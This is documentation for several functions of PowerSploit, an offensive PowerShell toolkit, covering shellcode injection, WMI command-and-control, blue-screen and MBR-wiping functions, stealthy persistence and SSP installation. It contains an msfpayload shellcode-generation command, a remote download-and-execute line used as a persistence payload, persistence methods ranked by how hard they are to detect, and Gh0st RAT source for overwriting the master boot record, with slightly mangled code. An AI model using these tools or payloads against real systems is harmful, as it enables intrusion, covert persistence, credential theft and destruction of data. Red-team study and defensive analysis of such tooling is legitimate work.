using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.

The function name expected in the DLL for the prewritten FuncReturnType’s is as follows:
WString    : WStringFunc
String     : StringFunc
Void       : VoidFunc

These function names ARE case sensitive.
To create an exported DLL function for the wstring type, the function would
be declared as follows:
extern “C” __declspec( dllexport ) wchar_t* WStringFunc()

If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify
this script to accomodate this.
You can find the code to modify in the section labeled “YOUR CODE GOES HERE”.

Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection

## RELATED LINKS

[http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/

Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/](http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/

Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/)



            

          

      

      

    

  

    
      
          
            
  # Invoke-Shellcode

## SYNOPSIS
Inject shellcode into the process ID of your choosing or within the context of the running PowerShell process.

PowerSploit Function: Invoke-Shellcode
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

`
Invoke-Shellcode [-ProcessID <UInt16>] [-Shellcode <Byte[]>] [-Force]
`

## DESCRIPTION
Portions of this project was based upon syringe.c v1.2 written by Spencer McIntyre

PowerShell expects shellcode to be in the form 0xXX,0xXX,0xXX.
To generate your shellcode in this form, you can use this command from within Backtrack (Thanks, Matt and g0tm1lk):

msfpayload windows/exec CMD=”cmd /k calc” EXITFUNC=thread C | sed ‘1,6d;s/[“;]//g;s/\\/,0/g’ | tr -d ‘n’ | cut -c2-

Make sure to specify ‘thread’ for your exit process.
Also, don’t bother encoding your shellcode.
It’s entirely unnecessary.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Invoke-Shellcode -ProcessId 4274
`


Description

Inject shellcode into process ID 4274.

### ————————– EXAMPLE 2 ————————–
`
Invoke-Shellcode
`



Description

Inject shellcode into the running instance of PowerShell.

### ————————– EXAMPLE 3 ————————–
`
Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
`



Description

Overrides the shellcode included in the script with custom shellcode - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
Warning: This script has no way to validate that your shellcode is 32 vs.
64-bit!

## PARAMETERS

### -ProcessID
Process ID of the process you want to inject shellcode into.

```yaml
Type: UInt16
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Shellcode
Specifies an optional shellcode passed in as a byte array

```yaml
Type: Byte[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Force
Injects shellcode without prompting for confirmation.
By default, Invoke-Shellcode prompts for confirmation before performing any malicious act.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS




            

          

      

      

    

  

    
      
          
            
  # Invoke-WmiCommand

## SYNOPSIS
Executes a PowerShell ScriptBlock on a target computer using WMI as a
pure C2 channel.

Author: Matthew Graeber
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

```
Invoke-WmiCommand [-Payload] <ScriptBlock> [[-RegistryHive] <String>] [[-RegistryKeyPath] <String>]


[[-RegistryPayloadValueName] <String>] [[-RegistryResultValueName] <String>] [[-ComputerName] <String[]>]
[[-Credential] <PSCredential>] [[-Impersonation] <ImpersonationLevel>]
[[-Authentication] <AuthenticationLevel>] [-EnableAllPrivileges] [[-Authority] <String>]




```

## DESCRIPTION
Invoke-WmiCommand executes a PowerShell ScriptBlock on a target
computer using WMI as a pure C2 channel.
It does this by using the
StdRegProv WMI registry provider methods to store a payload into a
registry value.
The command is then executed on the victim system and
the output is stored in another registry value that is then retrieved
remotely.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Invoke-WmiCommand -Payload { if ($True) { 'Do Evil' } } -Credential 'TargetDomain\TargetUser' -ComputerName '10.10.1.1'
`

### ————————– EXAMPLE 2 ————————–
`
$Hosts = Get-Content hostnames.txt
`

PS C:\>$Payload = Get-Content payload.ps1
PS C:\>$Credential = Get-Credential ‘TargetDomainTargetUser’
PS C:\>$Hosts | Invoke-WmiCommand -Payload $Payload -Credential $Credential

### ————————– EXAMPLE 3 ————————–
`
$Payload = Get-Content payload.ps1
`

PS C:\>Invoke-WmiCommand -Payload $Payload -Credential ‘TargetDomainTargetUser’ -ComputerName ‘10.10.1.1’, ‘10.10.1.2’

### ————————– EXAMPLE 4 ————————–
`
Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\testkey' -RegistryPayloadValueName 'testvalue' -RegistryResultValueName 'testresult' -ComputerName '10.10.1.1' -Credential 'TargetHost\Administrator' -Verbose
`

## PARAMETERS

### -Payload
Specifies the payload to be executed on the remote system.

```yaml
Type: ScriptBlock
Parameter Sets: (All)
Aliases:

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -RegistryHive
{{Fill RegistryHive Description}}

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 2
Default value: HKEY_CURRENT_USER
Accept pipeline input: False
Accept wildcard characters: False
```

### -RegistryKeyPath
Specifies the registry key where the payload and payload output will
be stored.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 3
Default value: SOFTWAREMicrosoftCryptographyRNG
Accept pipeline input: False
Accept wildcard characters: False
```

### -RegistryPayloadValueName
Specifies the registry value name where the payload will be stored.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 4
Default value: Seed
Accept pipeline input: False
Accept wildcard characters: False
```

### -RegistryResultValueName
Specifies the registry value name where the payload output will be
stored.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 5
Default value: Value
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerName
Runs the command on the specified computers.
The default is the local
computer.

Type the NetBIOS name, an IP address, or a fully qualified domain
name of one or more computers.
To specify the local computer, type
the computer name, a dot (.), or “localhost”.

This parameter does not rely on Windows PowerShell remoting.
You can
use the ComputerName parameter even if your computer is not
configured to run remote commands.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: Cn

Required: False
Position: 6
Default value: Localhost
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

### -Credential
Specifies a user account that has permission to perform this action.
The default is the current user.
Type a user name, such as “User01”,
“Domain01User01”, or User@Contoso.com.
Or, enter a PSCredential
object, such as an object that is returned by the Get-Credential
cmdlet.
When you type a user name, you will be prompted for a
password.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: 7
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Impersonation
Specifies the impersonation level to use.
Valid values are:

0: Default (Reads the local registry for the default impersonation level, which is usually set to “3: Impersonate”.)

1: Anonymous (Hides the credentials of the caller.)

2: Identify (Allows objects to query the credentials of the caller.)

3: Impersonate (Allows objects to use the credentials of the caller.)

4: Delegate (Allows objects to permit other objects to use the credentials of the caller.)

```yaml
Type: ImpersonationLevel
Parameter Sets: (All)
Aliases:
Accepted values: Default, Anonymous, Identify, Impersonate, Delegate

Required: False
Position: 8
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Authentication
Specifies the authentication level to be used with the WMI connection.
Valid values are:

-1: Unchanged

0: Default

1: None (No authentication in performed.)

2: Connect (Authentication is performed only when the client establishes a relationship with the application.)

3: Call (Authentication is performed only at the beginning of each call when the application receives the request.)

4: Packet (Authentication is performed on all the data that is received from the client.)

5: PacketIntegrity (All the data that is transferred between the client  and the application is authenticated and verified.)

6: PacketPrivacy (The properties of the other authentication levels are used, and all the data is encrypted.)

```yaml
Type: AuthenticationLevel
Parameter Sets: (All)
Aliases:
Accepted values: Default, None, Connect, Call, Packet, PacketIntegrity, PacketPrivacy, Unchanged

Required: False
Position: 9
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -EnableAllPrivileges
Enables all the privileges of the current user before the command
makes the WMI call.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Authority
Specifies the authority to use to authenticate the WMI connection.
You can specify standard NTLM or Kerberos authentication.
To use
NTLM, set the authority setting to ntlmdomain:<DomainName>, where
<DomainName> identifies a valid NTLM domain name.
To use Kerberos,
specify kerberos:<DomainNameServerName>.
You cannot include the
authority setting when you connect to the local computer.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 10
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

### System.String[]

Accepts one or more host names/IP addresses over the pipeline.

## OUTPUTS

### System.Management.Automation.PSObject

Outputs a custom object consisting of the target computer name and
the output of the command executed.

## NOTES
In order to receive the output from your payload, it must return
actual objects.
For example, Write-Host doesn’t return objects
rather, it writes directly to the console.
If you’re using
Write-Host in your scripts though, you probably don’t deserve to get
the output of your payload back.
:P

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Set-CriticalProcess

## SYNOPSIS
Causes your machine to blue screen upon exiting PowerShell.

PowerSploit Function: Set-CriticalProcess
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

`
Set-CriticalProcess [-Force] [-ExitImmediately] [-WhatIf] [-Confirm]
`

## DESCRIPTION
{{Fill in the Description}}

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Set-CriticalProcess
`

### ————————– EXAMPLE 2 ————————–
`
Set-CriticalProcess -ExitImmediately
`

### ————————– EXAMPLE 3 ————————–
`
Set-CriticalProcess -Force -Verbose
`

## PARAMETERS

### -Force
Set the running PowerShell process as critical without asking for confirmation.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -ExitImmediately
Immediately exit PowerShell after successfully marking the process as critical.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -WhatIf
Shows what would happen if the cmdlet runs.
The cmdlet is not run.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: wi

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Confirm
Prompts you for confirmation before running the cmdlet.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: cf

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Set-MasterBootRecord

## SYNOPSIS
Proof of concept code that overwrites the master boot record with the
message of your choice.

PowerSploit Function: Set-MasterBootRecord
Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

`
Set-MasterBootRecord [[-BootMessage] <String>] [-RebootImmediately] [-Force] [-WhatIf] [-Confirm]
`

## DESCRIPTION
Set-MasterBootRecord is proof of concept code designed to show that it is
possible with PowerShell to overwrite the MBR.
This technique was taken
from a public malware sample.
This script is inteded solely as proof of
concept code.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC'
`

## PARAMETERS

### -BootMessage
Specifies the message that will be displayed upon making your computer a brick.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 1
Default value: Stop-Crying; Get-NewHardDrive
Accept pipeline input: False
Accept wildcard characters: False
```

### -RebootImmediately
Reboot the machine immediately upon overwriting the MBR.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Force
Suppress the warning prompt.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -WhatIf
Shows what would happen if the cmdlet runs.
The cmdlet is not run.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: wi

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Confirm
Prompts you for confirmation before running the cmdlet.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: cf

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES
Obviously, this will only work if you have a master boot record to
overwrite.
This won’t work if you have a GPT (GUID partition table).

This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us):

// CGh0stApp message handlers

unsigned char scode[] =
“xb8x12x00xcdx10xbdx18x7cxb9x18x00xb8x01x13xbbx0c”
“x00xbax1dx0excdx10xe2xfex49x20x61x6dx20x76x69x72”
“x75x73x21x20x46x75x63x6bx20x79x6fx75x20x3ax2dx29”;

int CGh0stApp::KillMBR()
{


HANDLE hDevice;
DWORD dwBytesWritten, dwBytesReturned;
BYTE pMBR[512] = {0};

// ????MBR
memcpy(pMBR, scode, sizeof(scode) - 1);
pMBR[510] = 0x55;
pMBR[511] = 0xAA;


	hDevice = CreateFile
	(
“\\\\.\\PHYSICALDRIVE0”,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL
);



	if (hDevice == INVALID_HANDLE_VALUE)
	return -1;



	DeviceIoControl
	(
hDevice,
FSCTL_LOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NUL
)





// ??????
WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
DeviceIoControl


(
hDevice,
FSCTL_UNLOCK_VOLUME,
NULL,
0,
NULL,
0,
&dwBytesReturned,
NULL
);




CloseHandle(hDevice);

ExitProcess(-1);
return 0;




}

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Add-Persistence

## SYNOPSIS
Add persistence capabilities to a script.

PowerSploit Function: Add-Persistence
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: New-ElevatedPersistenceOption, New-UserPersistenceOption
Optional Dependencies: None

## SYNTAX

### ScriptBlock
```
Add-Persistence -ScriptBlock <ScriptBlock> -ElevatedPersistenceOption <Object> -UserPersistenceOption <Object>


[-PersistenceScriptName <String>] [-PersistentScriptFilePath <String>] [-RemovalScriptFilePath <String>]
[-DoNotPersistImmediately] [-PassThru]




```

### FilePath
```
Add-Persistence -FilePath <String> -ElevatedPersistenceOption <Object> -UserPersistenceOption <Object>


[-PersistenceScriptName <String>] [-PersistentScriptFilePath <String>] [-RemovalScriptFilePath <String>]
[-DoNotPersistImmediately] [-PassThru]




```

## DESCRIPTION
Add-Persistence will add persistence capabilities to any script or scriptblock.
This function will output both the newly created script with persistence capabilities as well a script that will remove a script after it has been persisted.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
`

$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose


Description

Creates a script containing the contents of EvilPayload.ps1 that when executed with the ‘-Persist’ switch will persist the payload using its respective persistence mechanism (user-mode vs.
elevated) determined at runtime.

### ————————– EXAMPLE 2 ————————–
`
$Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
`

$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .EncodedPersistentScript.ps1



Description

Creates a script containing the contents of the provided scriptblock that when executed with the ‘-Persist’ switch will persist the payload using its respective persistence mechanism (user-mode vs.
elevated) determined at runtime.
The output is then passed through to Out-EncodedCommand so that it can be executed in a single command line statement.
The final, encoded output is finally saved to .EncodedPersistentScript.ps1

## PARAMETERS

### -ScriptBlock
Specifies a scriptblock containing your payload.

```yaml
Type: ScriptBlock
Parameter Sets: ScriptBlock
Aliases:

Required: True
Position: Named
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

### -FilePath
Specifies the path to your payload.

```yaml
Type: String
Parameter Sets: FilePath
Aliases: Path

Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ElevatedPersistenceOption
Specifies the trigger for the persistent payload if the target is running elevated.
You must run New-ElevatedPersistenceOption to generate this argument.

```yaml
Type: Object
Parameter Sets: (All)
Aliases:

Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserPersistenceOption
Specifies the trigger for the persistent payload if the target is not running elevated.
You must run New-UserPersistenceOption to generate this argument.

```yaml
Type: Object
Parameter Sets: (All)
Aliases:

Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -PersistenceScriptName
Specifies the name of the function that will wrap the original payload.
The default value is ‘Update-Windows’.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Update-Windows
Accept pipeline input: False
Accept wildcard characters: False
```

### -PersistentScriptFilePath
Specifies the path where you would like to output the persistence script.
By default, Add-Persistence will write the removal script to ‘Persistence.ps1’ in the current directory.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: “$PWDPersistence.ps1”
Accept pipeline input: False
Accept wildcard characters: False
```

### -RemovalScriptFilePath
Specifies the path where you would like to output a script that will remove the persistent payload.
By default, Add-Persistence will write the removal script to ‘RemovePersistence.ps1’ in the current directory.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: “$PWDRemovePersistence.ps1”
Accept pipeline input: False
Accept wildcard characters: False
```

### -DoNotPersistImmediately
Output only the wrapper function for the original payload.
By default, Add-Persistence will output a script that will automatically attempt to persist (e.g.
it will end with ‘Update-Windows -Persist’).
If you are in a position where you are running in memory but want to persist at a later time, use this option.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -PassThru
Outputs the contents of the persistent script to the pipeline.
This option is useful when you want to write the original persistent script to disk and pass the script to Out-EncodedCommand via the pipeline.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

### None

Add-Persistence cannot receive any input from the pipeline.

## OUTPUTS

### System.Management.Automation.ScriptBlock

If the ‘-PassThru’ switch is provided, Add-Persistence will output a scriptblock containing the contents of the persistence script.

## NOTES
When the persistent script executes, it will not generate any meaningful output as it was designed to run as silently as possible on the victim’s machine.

## RELATED LINKS

[http://www.exploit-monday.com](http://www.exploit-monday.com)




            

          

      

      

    

  

    
      
          
            
  # Get-SecurityPackage

## SYNOPSIS
Enumerates all loaded security packages (SSPs).

Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

`
Get-SecurityPackage
`

## DESCRIPTION
Get-SecurityPackage is a wrapper for secur32!EnumerateSecurityPackages.
It also parses the returned SecPkgInfo struct array.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-SecurityPackage
`

## PARAMETERS

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Install-SSP

## SYNOPSIS
Installs a security support provider (SSP) dll.

Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

`
Install-SSP [[-Path] <String>]
`

## DESCRIPTION
Install-SSP installs an SSP dll.
Installation involves copying the dll to
%windir%System32 and adding the name of the dll to
HKLMSYSTEMCurrentControlSetControlLsaSecurity Packages.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Install-SSP -Path .\mimilib.dll
`

## PARAMETERS

### -Path
{{Fill Path Description}}

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES
The SSP dll must match the OS architecture.
i.e.
You must have a 64-bit SSP dll
if you are running a 64-bit OS.
In order for the SSP dll to be loaded properly
into lsass, the dll must export SpLsaModeInitialize.

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # New-ElevatedPersistenceOption

## SYNOPSIS
Configure elevated persistence options for the Add-Persistence function.

PowerSploit Function: New-ElevatedPersistenceOption
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

### PermanentWMIAtStartup
`
New-ElevatedPersistenceOption [-PermanentWMI] [-AtStartup]
`

### PermanentWMIDaily
`
New-ElevatedPersistenceOption [-PermanentWMI] [-Daily] -At <DateTime>
`

### ScheduledTaskOnIdle
`
New-ElevatedPersistenceOption [-ScheduledTask] [-OnIdle]
`

### ScheduledTaskAtLogon
`
New-ElevatedPersistenceOption [-ScheduledTask] [-AtLogon]
`

### ScheduledTaskHourly
`
New-ElevatedPersistenceOption [-ScheduledTask] [-Hourly]
`

### ScheduledTaskDaily
`
New-ElevatedPersistenceOption [-ScheduledTask] [-Daily] -At <DateTime>
`

### Registry
`
New-ElevatedPersistenceOption [-Registry] [-AtLogon]
`

## DESCRIPTION
New-ElevatedPersistenceOption allows for the configuration of elevated persistence options.
The output of this function is a required parameter of Add-Persistence.
Available persitence options in order of stealth are the following: permanent WMI subscription, scheduled task, and registry.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
$ElevatedOptions = New-ElevatedPersistenceOption -PermanentWMI -Daily -At '3 PM'
`

### ————————– EXAMPLE 2 ————————–
`
$ElevatedOptions = New-ElevatedPersistenceOption -Registry -AtStartup
`

### ————————– EXAMPLE 3 ————————–
`
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
`

## PARAMETERS

### -PermanentWMI
Persist via a permanent WMI event subscription.
This option will be the most difficult to detect and remove.

Detection Difficulty:        Difficult
Removal Difficulty:          Difficult
User Detectable?
No

```yaml
Type: SwitchParameter
Parameter Sets: PermanentWMIAtStartup, PermanentWMIDaily
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -ScheduledTask
Persist via a scheduled task.

Detection Difficulty:        Moderate
Removal Difficulty:          Moderate
User Detectable?
No

```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskOnIdle, ScheduledTaskAtLogon, ScheduledTaskHourly, ScheduledTaskDaily
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Registry
Persist via the HKLMSOFTWAREMicrosoftWindowsCurrentVersionRun registry key.
Note: This option will briefly pop up a PowerShell console to the user.

Detection Difficulty:        Easy
Removal Difficulty:          Easy
User Detectable?
Yes

```yaml
Type: SwitchParameter
Parameter Sets: Registry
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Daily
Starts the payload daily.

```yaml
Type: SwitchParameter
Parameter Sets: PermanentWMIDaily, ScheduledTaskDaily
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Hourly
Starts the payload hourly.

```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskHourly
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -At
Starts the payload at the specified time.
You may specify times in the following formats: ‘12:31 AM’, ‘2 AM’, ‘23:00:00’, or ‘4:06:26 PM’.

```yaml
Type: DateTime
Parameter Sets: PermanentWMIDaily, ScheduledTaskDaily
Aliases:

Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -OnIdle
Starts the payload after one minute of idling.

```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskOnIdle
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -AtLogon
Starts the payload upon any user logon.

```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskAtLogon, Registry
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -AtStartup
Starts the payload within 240 and 325 seconds of computer startup.

```yaml
Type: SwitchParameter
Parameter Sets: PermanentWMIAtStartup
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS

[http://www.exploit-monday.com](http://www.exploit-monday.com)



            

          

      

      

    

  

    
      
          
            
  # New-UserPersistenceOption

## SYNOPSIS
Configure user-level persistence options for the Add-Persistence function.

PowerSploit Function: New-UserPersistenceOption
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

## SYNTAX

### ScheduledTaskOnIdle
`
New-UserPersistenceOption [-ScheduledTask] [-OnIdle]
`

### ScheduledTaskHourly
`
New-UserPersistenceOption [-ScheduledTask] [-Hourly]
`

### ScheduledTaskDaily
`
New-UserPersistenceOption [-ScheduledTask] [-Daily] -At <DateTime>
`

### Registry
`
New-UserPersistenceOption [-Registry] [-AtLogon]
`

## DESCRIPTION
New-UserPersistenceOption allows for the configuration of elevated persistence options.
The output of this function is a required parameter of Add-Persistence.
Available persitence options in order of stealth are the following: scheduled task, registry.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
`

### ————————– EXAMPLE 2 ————————–
`
$UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
`

## PARAMETERS

### -ScheduledTask
Persist via a scheduled task.

Detection Difficulty:        Moderate
Removal Difficulty:          Moderate
User Detectable?
No

```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskOnIdle, ScheduledTaskHourly, ScheduledTaskDaily
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Registry
Persist via the HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun registry key.
Note: This option will briefly pop up a PowerShell console to the user.

Detection Difficulty:        Easy
Removal Difficulty:          Easy
User Detectable?
Yes

```yaml
Type: SwitchParameter
Parameter Sets: Registry
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Daily
Starts the payload daily.

```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskDaily
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Hourly
Starts the payload hourly.

```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskHourly
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -At
Starts the payload at the specified time.
You may specify times in the following formats: ‘12:31 AM’, ‘2 AM’, ‘23:00:00’, or ‘4:06:26 PM’.

```yaml
Type: DateTime
Parameter Sets: ScheduledTaskDaily
Aliases:

Required: True
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -OnIdle
Starts the payload after one minute of idling.

```yaml
Type: SwitchParameter
Parameter Sets: ScheduledTaskOnIdle
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -AtLogon
Starts the payload upon any user logon.

```yaml
Type: SwitchParameter
Parameter Sets: Registry
Aliases:

Required: True
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

## NOTES

## RELATED LINKS

[http://www.exploit-monday.com](http://www.exploit-monday.com)



            

          

      

      

    

  

    
      
          
            
  # Add-ServiceDacl

## SYNOPSIS
Adds a Dacl field to a service object returned by Get-Service.

Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: PSReflect

## SYNTAX

`
Add-ServiceDacl [-Name] <String[]>
`

## DESCRIPTION
Takes one or more ServiceProcess.ServiceController objects on the pipeline and adds a
Dacl field to each object.
It does this by opening a handle with ReadControl for the
service with using the GetServiceHandle Win32 API call and then uses
QueryServiceObjectSecurity to retrieve a copy of the security descriptor for the service.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Get-Service | Add-ServiceDacl
`

Add Dacls for every service the current user can read.

### ————————– EXAMPLE 2 ————————–
`
Get-Service -Name VMTools | Add-ServiceDacl
`

Add the Dacl to the VMTools service object.

## PARAMETERS

### -Name
An array of one or more service names to add a service Dacl for.
Passable on the pipeline.

```yaml
Type: String[]
Parameter Sets: (All)
